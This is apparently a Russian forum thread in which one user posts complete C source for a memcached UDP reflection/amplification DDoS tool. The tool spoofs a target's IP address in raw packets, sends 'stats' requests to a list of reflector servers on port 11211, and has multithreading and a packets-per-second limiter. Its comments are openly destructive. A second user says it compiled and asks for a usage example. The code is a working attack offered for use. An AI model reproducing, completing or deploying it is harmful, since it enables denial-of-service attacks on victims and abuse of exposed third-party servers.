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Memcache Reflection Attack Script

Тема в разделе C/C++ создана пользователем paveleff 30 дек 2018. 178 просмотров

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  1. paveleff
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    paveleff Автор темы 30 дек 2018 OO 0 30 май 2018
    Код

    
/*
    
   Memcache Reflection Attack Script
    
   Use With Extreme Caution....Meh Fuck It....Blow Shit Up!
    
   Compile: gcc memcached.c -o memecached -pthread
    
*/
    
 
    
#include <time.h>
    
#include <pthread.h>
    
#include <unistd.h>
    
#include <stdio.h>
    
#include <stdlib.h>
    
#include <string.h>
    
#include <sys/socket.h>
    
#include <netinet/ip.h>
    
#include <netinet/udp.h>
    
#include <arpa/inet.h>
    
#define MAX_PACKET_SIZE 8192
    
#define PHI 0x9e3779b9
    
static uint32_t Q[4096], c = 362436;
    
struct list
    
{
    
    struct sockaddr_in data;
    
    struct list *next;
    
    struct list *prev;
    
};
    
struct list *head;
    
volatile int tehport;
    
volatile int limiter;
    
volatile unsigned int pps;
    
volatile unsigned int sleeptime = 100;
    
struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
    
void init_rand(uint32_t x)
    
{
    
    int i;
    
    Q[0] = x;
    
    Q[1] = x + PHI;
    
    Q[2] = x + PHI + PHI;
    
    for (i = 3; i < 4096; i++)
    
    {
    
    Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
    
    }
    
}
    
uint32_t rand_cmwc(void)
    
{
    
    uint64_t t, a = 18782LL;
    
    static uint32_t i = 4095;
    
    uint32_t x, r = 0xfffffffe;
    
    i = (i + 1) & 4095;
    
    t = a * Q[i] + c;
    
    c = (t >> 32);
    
    x = t + c;
    
    if (x < c) {
    
    x++;
    
    c++;
    
    }
    
    return (Q[i] = r - x);
    
}
    
unsigned short csum (unsigned short *buf, int nwords)
    
{
    
    unsigned long sum = 0;
    
    for (sum = 0; nwords > 0; nwords--)
    
    sum += *buf++;
    
    sum = (sum >> 16) + (sum & 0xffff);
    
    sum += (sum >> 16);
    
    return (unsigned short)(~sum);
    
}
    
void setup_ip_header(struct iphdr *iph)
    
{
    
    iph->ihl = 5;
    
    iph->version = 4;
    
    iph->tos = 0;
    
    iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 15;
    
    iph->id = htonl(54321);
    
    iph->frag_off = 0;
    
    iph->ttl = MAXTTL;
    
    iph->protocol = IPPROTO_UDP;
    
    iph->check = 0;
    
    iph->saddr = inet_addr("192.168.3.100");
    
}
    
void setup_udp_header(struct udphdr *udph)
    
{
    
    udph->source = htons(5678);
    
    udph->dest = htons(11211);
    
    udph->check = 0;
    
    memcpy((void *)udph + sizeof(struct udphdr), "\x00\x01\x00\x00\x00\x01\x00\x00stats\r\n", 15);
    
    udph->len=htons(sizeof(struct udphdr) + 15);
    
}
    
void *flood(void *par1)
    
{
    
    struct thread_data *td = (struct thread_data *)par1;
    
    char datagram[MAX_PACKET_SIZE];
    
    struct iphdr *iph = (struct iphdr *)datagram;
    
    struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
    
    struct sockaddr_in sin = td->sin;
    
    struct  list *list_node = td->list_node;
    
    int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
    
    if(s < 0){
    
    fprintf(stderr, "Could not open raw socket.\n");
    
    exit(-1);
    
    }
    
    init_rand(time(NULL));
    
    memset(datagram, 0, MAX_PACKET_SIZE);
    
    setup_ip_header(iph);
    
    setup_udp_header(udph);
    
    udph->source = htons(rand() % 65535 - 1026);
    
    iph->saddr = sin.sin_addr.s_addr;
    
    iph->daddr = list_node->data.sin_addr.s_addr;
    
    iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
    
    int tmp = 1;
    
    const int *val = &tmp;
    
    if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
    
    fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
    
    exit(-1);
    
    }
    
    init_rand(time(NULL));
    
    register unsigned int i;
    
    i = 0;
    
    while(1){
    
        sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
    
        list_node = list_node->next;
    
        iph->daddr = list_node->data.sin_addr.s_addr;
    
        iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
    
        iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
    
      
    
        pps++;
    
        if(i >= limiter)
    
        {
    
            i = 0;
    
            usleep(sleeptime);
    
        }
    
        i++;
    
    }
    
}
    
int main(int argc, char *argv[ ])
    
{
    
    if(argc < 6){
    
    fprintf(stderr, "Invalid parameters!\n");
    
    fprintf(stdout, "Usage: %s <target IP> <port> <reflection file> <threads> <pps limiter, -1 for no limit> <time>\n", argv[0]);
    
        exit(-1);
    
    }
    
    srand(time(NULL));
    
    int i = 0;
    
    head = NULL;
    
    fprintf(stdout, "Setting up sockets...\n");
    
    int max_len = 128;
    
    char *buffer = (char *) malloc(max_len);
    
    buffer = memset(buffer, 0x00, max_len);
    
    int num_threads = atoi(argv[4]);
    
    int maxpps = atoi(argv[5]);
    
    limiter = 0;
    
    pps = 0;
    
    int multiplier = 20;
    
    FILE *list_fd = fopen(argv[3],  "r");
    
    while (fgets(buffer, max_len, list_fd) != NULL) {
    
        if ((buffer[strlen(buffer) - 1] == '\n') ||
    
                (buffer[strlen(buffer) - 1] == '\r')) {
    
            buffer[strlen(buffer) - 1] = 0x00;
    
            if(head == NULL)
    
            {
    
                head = (struct list *)malloc(sizeof(struct list));
    
                bzero(&head->data, sizeof(head->data));
    
                head->data.sin_addr.s_addr=inet_addr(buffer);
    
                head->next = head;
    
                head->prev = head;
    
            } else {
    
                struct list *new_node = (struct list *)malloc(sizeof(struct list));
    
                memset(new_node, 0x00, sizeof(struct list));
    
                new_node->data.sin_addr.s_addr=inet_addr(buffer);
    
                new_node->prev = head;
    
                new_node->next = head->next;
    
                head->next = new_node;
    
            }
    
            i++;
    
        } else {
    
            continue;
    
        }
    
    }
    
    struct list *current = head->next;
    
    pthread_t thread[num_threads];
    
    struct sockaddr_in sin;
    
    sin.sin_family = AF_INET;
    
    sin.sin_addr.s_addr = inet_addr(argv[1]);
    
    struct thread_data td[num_threads];
    
    for(i = 0;i<num_threads;i++){
    
        td[i].thread_id = i;
    
        td[i].sin= sin;
    
        td[i].list_node = current;
    
        pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
    
    }
    
    fprintf(stdout, "Starting flood...\n");
    
    for(i = 0;i<(atoi(argv[6])*multiplier);i++)
    
    {
    
        usleep((1000/multiplier)*1000);
    
        if((pps*multiplier) > maxpps)
    
        {
    
            if(1 > limiter)
    
            {
    
                sleeptime+=100;
    
            } else {
    
                limiter--;
    
            }
    
        } else {
    
            limiter++;
    
            if(sleeptime > 25)
    
            {
    
                sleeptime-=25;
    
            } else {
    
                sleeptime = 0;
    
            }
    
        }
    
        pps = 0;
    
    }
    
    return 0;
    
}
     
    30 дек 2018
  2. Checkerchin
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    Checkerchin 2 янв 2019 178 16 апр 2017
    А пример запуска можно?
    Скомпилировалось без ошибок.
     
    2 янв 2019
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